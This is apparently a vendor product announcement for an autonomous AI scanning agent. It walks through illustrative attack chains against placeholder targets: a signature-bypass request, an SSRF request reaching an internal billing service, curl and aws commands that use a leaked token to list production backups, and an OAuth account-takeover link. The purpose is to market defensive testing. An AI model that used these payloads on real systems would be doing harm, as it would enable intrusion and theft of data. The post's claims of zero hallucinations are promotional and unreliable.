Introducing Source Code Connect your repository and scan any branch, commit, or tag for actionable source code findings. Try it now

Product

Introducing Multi-Asset Deep Agentic Scan: Connected Testing Across the Application

Multi-Asset Deep Agentic Scan assesses related mobile, web, API, network, source-code, and documentation assets in one connected agentic investigation.

Introducing Multi-Asset Deep Agentic Scan: Connected Testing Across the Application

Wed 02 September 2026

Imagine an autonomous security agent given access to an organization’s architecture documentation, API schemas, mobile application, backend source code, and live web services all within the same assessment.

Here is what happens when that agent investigates across all five asset boundaries in a single, connected workflow:

  1. Reading Documentation: Ingesting the developer architecture docs, the agent discovers an unadvertised privileged route: /api/v2/user/elevate-tier. The docs indicate this endpoint is strictly restricted to authenticated mobile client sessions using cryptographic request signatures.
  2. Parsing the API Schema: The agent inspects the OpenAPI schema to determine the expected parameters: target_user_id, requested_tier: "enterprise_verified", and mandatory headers (X-Device-Id, X-Timestamp, X-App-Signature).
  3. Reverse Engineering the Mobile App: Decompiling the mobile application binary (.apk), the agent traces the networking routines to identify how X-App-Signature is generated—an HMAC-SHA256 signature calculated over the timestamp and request body.
  4. Reviewing Backend Source Code: Cross-referencing the backend repository (auth_middleware.py), the agent examines how the server validates incoming signatures. It spots an authorization logic flaw: passing an undocumented query parameter ?client_mode=legacy_sync causes the verification function to return True prematurely, bypassing the cryptographic signature check entirely.
  5. Executing Live API Validation: Combining the route from the docs, the payload schema from OpenAPI, the client headers from the mobile binary, and the bypass logic from the source code, the agent crafts and sends a live HTTP request to the API. The request succeeds, demonstrating unauthorized privilege escalation and delivering a verified, reproducible Proof of Concept.
POST /api/v2/user/elevate-tier?client_mode=legacy_sync HTTP/1.1
Host: api.target-app.com
X-Device-Id: mobile-client-anonymous
X-Timestamp: 1724687520
Content-Type: application/json

{
  "target_user_id": "usr_94827104",
  "requested_tier": "enterprise_verified"
}
HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "success",
  "user_id": "usr_94827104",
  "tier": "enterprise_verified",
  "auth_mode": "legacy_sync"
}

Why Siloed Tools Miss Modern Vulnerabilities

Real-world attackers do not respect tool boundaries or asset taxonomies. They do not compartmentalize their reconnaissance into "SAST scanning", "DAST crawling", or "mobile reverse engineering." Instead, attackers view an enterprise footprint as a continuous, interconnected web of trust relationships, shared secrets, and unvalidated interfaces.

They actively seek out the seams between systems—the exact fault lines where assumptions made by one team or component break down when interacting with another.

Traditional security testing tools fail systematically against modern architectures because they are fundamentally constrained to single-asset silos:

┌─────────────────────────────────────────────────────────────────────────────┐
│                   THE SILOED SCANNING BLIND SPOT                           │
└─────────────────────────────────────────────────────────────────────────────┘

  [ Documentation ]  ──► Unread by scanners (Hidden routes, trust boundaries ignored)
          │
  [ Mobile Binary ]  ──► Analyzed in isolation (Client crypto verified; server blind)
          │
  [ Source Code   ]  ──► SAST flags 1,000+ theoretical flaws (No reachability)
          │
  [ Web API / App ]  ──► DAST blocked by 401/403 walls & missing client signatures
          │
  [ Network / Cloud] ──► Port scans show open ports (Zero business logic context)

1. SAST: Drowning in False Positives Without Reachability

Static Application Security Testing (SAST) tools parse abstract syntax trees (ASTs) inside source code repositories. While effective at identifying theoretical code patterns, SAST suffers from severe structural blindness: * Zero Reachability Context: SAST cannot determine whether a vulnerable code branch is actually exposed through an API gateway, deployed behind an ingress controller, or shielded by network firewalls. * Alert Fatigue: Security engineers and developers are overwhelmed by hundreds of unranked warnings, of which over 85% are non-exploitable in production. * Missing Deployment Context: SAST cannot verify if an unauthenticated method is invoked with real runtime parameters or bypassed by upstream middleware.

2. DAST: Hitting 401/403 Walls and Cryptographic Signatures

Dynamic Application Security Testing (DAST) and black-box web vulnerability scanners fire blind HTTP requests against public URLs from the outside: * Authentication Barriers: Modern applications enforce multi-factor authentication, OAuth flows, and device-bound session tokens. DAST tools frequently lose authentication state or fail to navigate complex login flows. * Cryptographic Signatures: When APIs require custom client headers (such as HMAC-SHA256 request signatures, mutual TLS, or dynamic timestamp nonces generated inside a mobile app), DAST requests are immediately rejected at the perimeter with 401 Unauthorized or 403 Forbidden. * Parameter Ignorance: DAST cannot guess hidden debug parameters (like ?client_mode=legacy_sync) or internal undocumented schemas without internal visibility.

3. Mobile AST: Isolated to the Client Sandbox

Mobile Application Security Testing tools decompile APKs and IPAs to evaluate client-side hardening, keystore implementations, and obfuscation: * One-Way Visibility: Mobile AST confirms that an Android or iOS app implements strong cryptographic signing, robust certificate pinning, and secure local storage. * Backend Blindness: Mobile scanners have zero visibility into whether the backend API server actually enforces those cryptographic checks or if server-side code contains legacy authorization bypasses.

4. Network Scanners: Devoid of Application Semantics

Network and infrastructure scanners sweep IP ranges for open TCP/UDP ports, TLS certificate validity, and exposed service banners: * No Business Logic: A port scanner identifies that port 443 or 8080 is open, but it cannot understand multi-step API workflows, JSON payloads, or multi-tenant authorization logic. * Perimeter Isolation: Network scanners cannot correlate an open internal port with an external web application vulnerability that could serve as a pivot vector.

When security testing is divided into isolated silos, the critical vulnerabilities that span across documentation, client binaries, backend repositories, and live cloud environments remain entirely invisible.


Real-World Multi-Hop Cross-Asset Attack Chains

To demonstrate how interconnected agentic reasoning uncovers complex vulnerabilities, consider three concrete multi-hop attack chains identified across real-world application footprints.

Attack Chain 1: Architecture Docs + Web App SSRF + Internal Microservices Pivot

In modern cloud architectures, organizations frequently deploy internal microservices without authentication, relying entirely on VPC network boundaries for isolation.

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Architecture Docs │ ───► │ 2. Public Web App    │ ───► │ 3. Internal Microservice  │
│ Discovers internal   │      │ Finds Blind SSRF     │      │ Extracts sensitive        │
│ billing endpoint     │      │ in avatar import     │      │ customer financial data   │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. INGESTION  : Agent indexes architecture docs (architecture_overview.md)  │
│                 Identifies: http://10.0.4.12:8080/internal/billing/export    │
│ 2. RECON      : Agent crawls public web portal (app.target-company.com)      │
│                 Locates image import: POST /api/v1/profile/avatar-fetch     │
│ 3. HYPOTHESIS : Web app lacks RFC 1918 private IP filtering → SSRF pivot    │
│ 4. EXECUTION  : Agent dispatches SSRF payload targeting internal billing IP │
│ 5. VALIDATION : Server returns raw JSON billing records (Verified PoC)      │
└─────────────────────────────────────────────────────────────────────────────┘
  1. Ingesting Architecture Documentation: During the documentation ingestion phase, the agent indexes internal architecture design notes (architecture_overview.md). The documentation details an internal financial microservice deployed at http://10.0.4.12:8080/internal/billing/export, explicitly noting that the service operates without authentication because it resides within the internal private VPC subnet.
  2. Discovering Web Application Vectors: Testing the public web application (https://app.target-company.com), the agent analyzes the user profile settings and identifies an image import endpoint at /api/v1/profile/avatar-fetch accepting a remote image_url parameter.
  3. Cross-Asset Pivot Synthesis: Correlating the internal IP and route from the documentation with the unvalidated URL input on the public web app, the agent formulates a pivot hypothesis: using the web application's Server-Side Request Forgery (SSRF) vector to reach the unauthenticated internal billing service.
  4. Live Execution and Verified Data Exfiltration: The agent dispatches a crafted JSON payload through the public web endpoint. The server executes the backend fetch against the internal subnet and returns raw customer billing records directly in the HTTP response.
POST /api/v1/profile/avatar-fetch HTTP/1.1
Host: app.target-company.com
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json

{
  "user_id": "usr_55102",
  "image_url": "http://10.0.4.12:8080/internal/billing/export?format=json&limit=2"
}
HTTP/1.1 200 OK
Content-Type: application/json

{
  "status": "imported",
  "raw_data": {
    "transactions": [
      {
        "tx_id": "tx_99812",
        "amount": 4250.00,
        "currency": "USD",
        "customer_email": "cfo@enterprise-corp.com",
        "card_last4": "4242"
      },
      {
        "tx_id": "tx_99813",
        "amount": 18900.00,
        "currency": "USD",
        "customer_email": "treasury@fintech-global.io",
        "card_last4": "1098"
      }
    ]
  }
}

The scan automatically captures this transaction flow, confirming full exploitability and generating a deterministic Proof of Concept with zero manual triage required.


Attack Chain 2: Source Code Secret Leak + Live API + Cloud IAM Privilege Escalation

Orphaned secrets in Git commit histories often escape detection during routine code reviews while retaining high-privilege permissions in cloud environments.

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Git Commit History│ ───► │ 2. Live API Gateway  │ ───► │ 3. Cloud Storage / IAM    │
│ Unearths orphaned    │      │ Exchanges token for  │      │ Lists & accesses          │
│ staging deploy token │      │ temporary STS keys   │      │ production database dumps │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. STATIC REPO: Agent scans Git history; extracts stg_deploy_9f8a87b3c1d2e4  │
│ 2. LIVE PROBE : Tests token against live API (api.target-company.com/v1/sts)│
│ 3. PERMISSIONS: Obtains STS credentials; enumerates attached IAM policies   │
│ 4. ESCALATION : Discovers wildcard s3:GetObject & s3:ListBucket privileges  │
│ 5. VALIDATION : Executes live S3 bucket listing of prod database backups    │
└─────────────────────────────────────────────────────────────────────────────┘
  1. Repository Commit History Mining: The agent audits the source repository, including unmerged staging branches and commit diffs. In an archived script (scripts/deploy_staging.sh) committed eight months prior, the agent unearths an active deployment token: stg_deploy_9f8a87b3c1d2e4.
  2. Live API Authentication: Rather than merely generating a static secret warning, the agent tests the candidate credential against the live production API gateway at https://api.target-company.com/v1/internal/sts/token. The gateway validates the token and issues temporary cloud security credentials (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN).
  3. Evaluating Cloud IAM Boundaries: The agent inspects the IAM policies attached to the assumed session role (Role/StagingDeployer) and discovers that while compute permissions are restricted, storage permissions contain an overly permissive wildcard: s3:ListBucket and s3:GetObject on arn:aws:s3:::*.
  4. Live Verification of Sensitive Cloud Data: The agent executes signed requests against the cloud storage endpoint, demonstrating direct, unauthorized access to production database backups.
# Automated Proof of Concept generated by Multi-Asset Deep Agentic Scan:

# Step 1: Authenticate against live API with discovered repository secret
curl -s -X POST "https://api.target-company.com/v1/internal/sts/token" \
  -H "X-Deploy-Token: stg_deploy_9f8a87b3c1d2e4" \
  -H "Content-Type: application/json"

# Returned Session Credentials:
# {
#   "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
#   "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
#   "SessionToken": "AQoDYXdzEJr1...",
#   "Expiration": "2026-09-02T14:00:00Z"
# }

# Step 2: Validate live cloud storage access
aws s3 ls s3://prod-customer-backups-2026/ --region us-east-1

# Output:
# 2026-09-01 04:00:15  14.5GB  prod_db_dump_20260901.sql.gz
# 2026-09-02 04:00:12  14.8GB  prod_db_dump_20260902.sql.gz

Client-side mobile application configurations often intersect dangerously with server-side identity providers during Single Sign-On (SSO) authentication flows.

┌──────────────────────┐      ┌──────────────────────┐      ┌───────────────────────────┐
│ 1. Mobile Decompile  │ ───► │ 2. Web OAuth Server  │ ───► │ 3. Account Takeover       │
│ Uncovers exported    │      │ Identifies wildcard  │      │ Intercepts auth codes via │
│ custom deep link URI │      │ redirect_uri scheme  │      │ malicious redirect chain  │
└──────────────────────┘      └──────────────────────┘      └───────────────────────────┘
┌─────────────────────────────────────────────────────────────────────────────┐
│ STEP-BY-STEP REASONING & EXECUTION FLOW                                     │
├─────────────────────────────────────────────────────────────────────────────┤
│ 1. DECOMPILE  : Agent decompiles Android manifest & locates exported handler│
│                 Activity: OAuthRedirectActivity (scheme: myapp://auth/cb)   │
│ 2. CODE AUDIT : Activity accepts code & exchanges tokens without PKCE/state │
│ 3. OAUTH PROBE: Web OAuth server allows custom URI schemes for public client│
│ 4. SYNTHESIS  : Agent constructs crafted authorization URL with deep link   │
│ 5. VALIDATION : Intercepts authorization code, proving account takeover PoC │
└─────────────────────────────────────────────────────────────────────────────┘
  1. Reverse Engineering Mobile Deep Links: Decompiling the Android application package (.apk), the agent parses AndroidManifest.xml and discovers an exported Activity configured to handle custom deep link callbacks:
<activity android:name=".ui.auth.OAuthRedirectActivity" android:exported="true">
    <intent-filter>
        <action android:name="android.intent.action.VIEW" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.BROWSABLE" />
        <data android:scheme="myapp" android:host="auth" android:path="/callback" />
    </intent-filter>
</activity>
  1. Auditing Client-Side Token Handshake: In OAuthRedirectActivity.kt, the agent discovers that when the application receives an incoming intent containing an authorization code (myapp://auth/callback?code=...), it immediately exchanges the authorization code for a session token without validating the state parameter or enforcing PKCE (Proof Key for Code Exchange).
  2. Probing Web OAuth Endpoints: Testing the web OAuth 2.0 authorization server (https://auth.target-company.com/oauth/v2/authorize), the agent discovers that the server permits custom URI schemes for public client IDs and performs loose regex validation on the redirect_uri parameter.
  3. Synthesizing the Account Takeover PoC: The agent constructs an exploit authorization link:
https://auth.target-company.com/oauth/v2/authorize?client_id=web_client_public&response_type=code&redirect_uri=myapp://auth/callback&scope=openid%20profile%20email

When an authenticated victim visits this link, the OAuth server issues an authorization code and redirects directly to the custom mobile URI scheme. Any malicious application registered on the device or a rogue web redirect handler intercepts the authorization code, resulting in complete, zero-interaction account takeover.


The Paradigm Shift: Autonomous Red Teaming with a Unified Cognitive Graph

Traditional approaches attempt to bridge tool silos by running separate scanners in parallel and aggregating their findings into a central vulnerability management dashboard.

This aggregation fails because aggregation is not correlation, and correlation is not reasoning.

A dashboard displaying a static secret from Git alongside an open port from a network scan cannot recognize that the secret unlocks the API on that port. Multi-Asset Deep Agentic Scan represents a fundamental paradigm shift: an autonomous red team operating on a unified cognitive graph.

┌─────────────────────────────────────────────────────────────────────────────┐
│                   UNIFIED COGNITIVE ATTACK GRAPH                            │
└─────────────────────────────────────────────────────────────────────────────┘
                                       │
            ┌──────────────────────────┼──────────────────────────┐
            ▼                          ▼                          ▼
    [Documentation]             [Mobile Binary]            [Source Code]
    - Routes & Endpoints        - Cryptographic signing    - Logic bypass flaws
    - Internal network IP       - Exported deep links      - Leaked secrets
            │                          │                          │
            └──────────────────────────┼──────────────────────────┘
                                       ▼
                       [Dynamic Hypothesis Engine]
                     "Can Secret A unlock API Route B?"
                     "Can SSRF C reach Internal Service D?"
                                       │
            ┌──────────────────────────┴──────────────────────────┐
            ▼                                                     ▼
     [Live Web Application]                               [Cloud Infrastructure]
     - Runtime parameter testing                          - IAM privilege evaluation
     - Live exploit verification                          - Data access proof
                                       │
                                       ▼
                     [Verified Proof of Concept (PoC)]
                     Zero Hallucinations · 100% Signal

The Autonomous Cross-Asset Reasoning Cycle

Instead of executing linear scripts, Multi-Asset Deep Agentic Scan runs an iterative cognitive loop across all supplied assets:

  1. Entity & Relationship Ingestion: Every route discovered in documentation, cryptographic algorithm decompiled from a mobile app, code branch parsed from Git, and parameter observed in web traffic is mapped as an interconnected node within a shared semantic graph.
  2. Dynamic Hypothesis Formulation: When new evidence is uncovered in one asset, the cognitive engine formulates active security hypotheses against other assets in scope (e.g., "Does the bypass parameter found in auth_middleware.py work on the live /api/v2/user/elevate-tier endpoint discovered in OpenAPI docs?").
  3. Targeted Payload Synthesis: The agent synthesizes context-aware exploit payloads that combine parameters from schemas, signing logic from binaries, and secrets from code.
  4. Live Execution & State Verification: The agent dispatches payloads against live runtime environments, observes responses, and adapts its strategy based on server feedback.
  5. Deterministic Proof of Concept Delivery: Findings are reported only after successful live verification, ensuring that every alert in the final report is backed by a reproducible, validated Proof of Concept.

Deep Testing for Each Asset, Connected Investigation Across Them

Multi-Asset Deep Agentic Scan does not sacrifice asset-specific depth for broad cross-asset coverage. Each asset included in an assessment is analyzed with specialized scanners and domain-specific agents:

  • Mobile Applications: Complete static and dynamic analysis, binary decompilation, intent manipulation, cryptographic auditing, and client storage inspection.
  • Web Applications & APIs: Deep stateful crawling, authentication flow testing, business logic evaluation, injection testing, and OpenAPI schema validation.
  • Source Code Repositories: AST-level control flow analysis, tainted data tracking, authorization logic auditing, and commit history secrets inspection.
  • Network & Cloud Services: Service enumeration, perimeter policy verification, and cloud IAM boundary testing.
  • Documentation & Specifications: Ingestion of OpenAPI/Swagger specs, Postman collections, architecture diagrams, and internal engineering documentation.
┌─────────────────────────┬───────────────────────────────────┬───────────────────────────────────┐
│ Assessment Capability   │ Traditional Siloed Scanners       │ Multi-Asset Deep Agentic Scan     │
├─────────────────────────┼───────────────────────────────────┼───────────────────────────────────┤
│ Attack Surface Scope    │ Single asset per scan             │ Unified multi-asset application   │
│ Cross-Boundary Pivots   │ Impossible (Strictly isolated)    │ Native multi-hop reasoning        │
│ Authentication Handling │ Blocked by custom headers/crypto  │ Reverses client auth & signatures │
│ Finding Validation      │ Theoretical alerts & warnings     │ Executable, verified PoCs         │
│ False Positive Rate     │ High (Requires manual triage)     │ Near zero (Execution-verified)    │
│ Context Sharing         │ Zero context between tools        │ Real-time unified cognitive graph │
└─────────────────────────┴───────────────────────────────────┴───────────────────────────────────┘

Scan multiple assets in a single scan

A Multi-Asset Deep Agentic Scan can include:

  • One mobile asset, selected from an application store (Google Play or Apple App Store) or uploaded directly as an APK, AAB, or IPA file.
  • Web applications and web APIs, configured with authentication credentials or OpenAPI/Swagger definitions.
  • Network ranges and cloud perimeters, targeting public-facing IP ranges, domains, and cloud endpoints.
  • Code repositories and source-code archives, supporting Git repositories, zip archives, and private repositories.
  • Supporting documentation files, including OpenAPI/Swagger specifications, Postman collections, architecture PDFs, and Markdown design docs.

Multiple non-mobile assets can be added to an assessment without restriction. All supplied assets share scan configuration, exchange intelligence in real time, and feed into one consolidated security report.

Users can choose between Ostorlab Cybermodels or provide their own API keys via Bring Your Own Key (BYOK). Assessments can be configured across three distinct effort tiers:

  • Core: Fast, automated cross-asset validation for CI/CD pipelines and continuous release cycles.
  • Advanced: In-depth multi-hop agentic exploration designed for scheduled compliance and security audits.
  • Elite: Exhaustive autonomous red teaming with deep hypothesis exploration and complete attack path synthesis.

A Connected Scope for Modern Applications

Modern applications are distributed, interconnected ecosystems. Securing them requires security testing that mirrors how software is actually built—and how attackers actually break in.

Multi-Asset Deep Agentic Scan provides security teams with an autonomous, cross-boundary testing capability that investigates each asset deeply, follows leads across system seams, and proves real business risk with validated Proofs of Concept.

Launch a Multi-Asset Deep Agentic Scan to assess your connected application ecosystem today.

Table of Contents